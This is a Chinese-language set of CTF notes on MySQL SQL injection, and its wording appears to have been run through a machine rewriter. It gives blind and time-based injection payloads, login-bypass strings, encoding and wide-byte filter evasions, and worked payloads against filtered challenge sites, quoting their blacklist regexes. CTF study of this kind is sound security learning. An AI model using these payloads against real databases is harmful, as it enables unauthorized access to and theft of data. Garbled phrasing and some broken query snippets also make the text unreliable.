正文符
以下是Mysql中可以或许用到的单行正文符:
# -- -

以下是Mysql中可以或许用到的多行正文符(mysql下必要闭合):
/
断定往后库能否有字段名
对付CTF中的题,某些可以或许间接断定有没有flag表1′ or(flag)比方:全表
用or试一下
这里解释一下为何or的成果为何不全,说白了也便是atoi函数的特色
or(列名)实在是遍历字段名中的每一个值而后选取那些不为false的内容,由于在mysql中’ssdd’字符串默许即是0即是false以是不表现,而’4ddf’如许的字符串默许即是4,也便是true也就会前往了
limit下的字段数断定
家喻户晓where条件下的字段数可以或许用order by
断定,而limit后可以或许运用 1,into @,@
(@为字段数)断定字段数@为mysql暂时变量,
道理请看http://www.w3school.com.cn/sql/sql_select_into.asp
or条件下的回显
以前总是对where id='1' or '1'='1'
和where id='0' or '1'='1'
的回显一直不是很懂得,以是本日搭建情形测试了一下,以下可见
以是预测在or条件下先后如果都为真则前往统统成果,不然只前往条件为真的一方的值
concat与concat_ws与group_concat
1.2 MySQL的concat函数在衔接字符串的时候,只需此中一个是NULL,那末将前往NULLMySQL的concat函数在衔接字符串的时候,只需此中一个是NULL,那末将前往NULL
mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec)
和concat不合的是, concat_ws函数在履行的时候,不会由于NULL值而前往NULL
mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec)
盲注下的条件语句和光阴函数
这是我头几天刷wechall碰到的题,比方一下注入语句
select from test1 where id='$_GET[id]';
已知没有回显位,id=3和id=1前往成果不合样而且过滤了’,空格,等等一堆关键词,不存在宽字节注入给个B徒弟当时的payload
if(substr(flag,1,1)in(0x41),3,0)
写个剧本爆破之可得flag而基于光阴的注入以前都是一直用的if(xxxxxx,1,sleep(2));最也发明了一个更好的函数BENCHMARK
IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)
BENCHMARK函数是指履行某函数的次数,次数多时可以或许到达与sleep函数雷同的后果
逻辑操纵符被过滤
先放一波like语法http://www.runoob.com/mysql/mysql-like-clause.html
绕过\’被过滤
hex编码
SELECT password FROM Users WHERE username = 0x61646D696E
char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html实体字符编码
SELECT FROM Users WHERE username = 'admin'
%2527
这里主要是由于绕过magic_quotes_gpc过滤,由于%25解码为%,联合后面的27也便是%27也便是',以是胜利绕过过滤。
宽字节就不说了gbk编码在单引号后面加一个%df便可
表名等关键字被过滤
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特殊符 /!informationschema.tables/
别号 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
表单认证绕过
这里选两题一题是试验吧的web分类第一题
\"大众SELECT username FROM users WHERE username='$username' AND password='$password'\"大众
如许的间接username=admin'#
便可,或许username='='&password='='
如许就可以构造出
\"大众SELECT username FROM users WHERE username=''='' AND password=''=''\"大众
以是逻辑断定绕过第二题是iscc的简单注入,预测大抵后盾语句以下,PS:后盾暗码是md5处置过的
$results = SELECT password FROM users WHERE username='$username'if($results==$_GET[$password]){
这里可以或许构造username=0' union select md5(1)#&password=1
Mysql字符编码运用技能
传入的username=admin%c2,php的检测if ($username === ‘admin’)天然就可以够绕过的,在mysql中可以或许失落常查出username=’admin’的成果,道理是Mysql在转换字符集的时候,将不完备的字符给轻忽了。详细可参照P徒弟文章https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
隐式范例转换
这里先上几个图,自行领会精力
这里为何咱们输出为何name=0会招致前往数据呢?实在这里跟php弱范例有殊途同归之妙,mysql在比拟一个整数和一个字符串也会强制把字符串转化为整数停滞比拟,并前往一个warning,以是这里
pupiladmin
都会被转换为0以是与0比拟相称,那末咱们进一步料想那一个非0开头的字符串强制转化是什么呢
因而可知,与PHP同样,mysql也会把字符串强制转化为开头的数字,若开头是字母则强制转化为0,那咱们若何运用这一黑邪术呢,家喻户晓,mysql同样平常都是字符型注入,很少罕有字型注入的,就像where username='input'
如许,咱们纯洁的输出数字是会被转化成字符串的,就像如许
这时候咱们就必要做一些操纵来构造注入点了,好比运用算术运算符
+,-,,/,%
又或许位操纵符
&,|,^
上面咱们以+
为例停滞演示
过滤了&,|,,/,=等逻辑处置字符
可以或许用in,exists,position..in,>,<,!,<>,like等操纵符绕过这个链接有详细先容http://www.runoob.com/mysql/mysql-like-clause.html这里举一个例子,好比要运用sql盲注的话但是过滤了substr,mid,asccii,ord等函数可以或许运用一下语句
admin' AND password LIKE \"大众p%\"大众 --
一点实战例子
陕西省网络空间安然
过滤了
/ |\|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|\"大众.urldecode('%09').\"大众|\公众.urldecode(\"大众%0a\"大众).\"大众|\"大众.urldecode(\公众%0b\"大众).\"大众|\"大众.urldecode('%0c').\"大众|\"大众.urldecode('%0d').\"大众|\"大众.urldecode('%a0').\"大众/i\公众
这里没有过滤^,以是可以或许绕过,payload
username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1
pwnhubcuit校赛
过滤了
/ |\|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|\"大众.urldecode('%09').\公众|\公众.urldecode(\"大众%0a\公众).\公众|\"大众.urldecode(\"大众%0b\"大众).\公众|\"大众.urldecode('%0c').\公众|\公众.urldecode('%0d').\公众|\公众.urldecode('%20').\"大众|\公众.urldecode('%a0').\公众/i
这里过滤了&,|,,=等标记和substring,mid可以或许运用in,exists,>,<,<>,比拟运算符绕过,payload
'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'
webhacking,kr
过滤了
union|and|||&|=|urldecode(\"大众%0b\公众).\"大众|\"大众.urldecode('%0c').\公众|\公众.urldecode('%0d').\"大众|\"大众.urldeco
这里这里if和substr都没被过滤,而且空格可以或许被%0a绕过,以是payload
%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in(\"大众0x41\"大众),1,0)
末了总结一下注入题(手工注入。。)的同样平常思绪(大牛轻喷),对付同样平常注入首先要找到注入点,好比有许多参数的先肯定哪一个参数好注入,再测验考试有没有过滤或许过滤了那些字符,waf本身能否有问题招致间接可以或许大小写,双写,编码绕过的。固然同样平常ctf中的题注入如果有waf同样平常都是过滤不完备的,耐烦点就可以够找出payload,末了便是留神一下参数提交的方法,有时候一些标题get方法过滤的很严厉但是post只是意味性的过滤一下,另有一些用$_REQUEST方法的留神除get和post还可以或许测验考试cookie注入。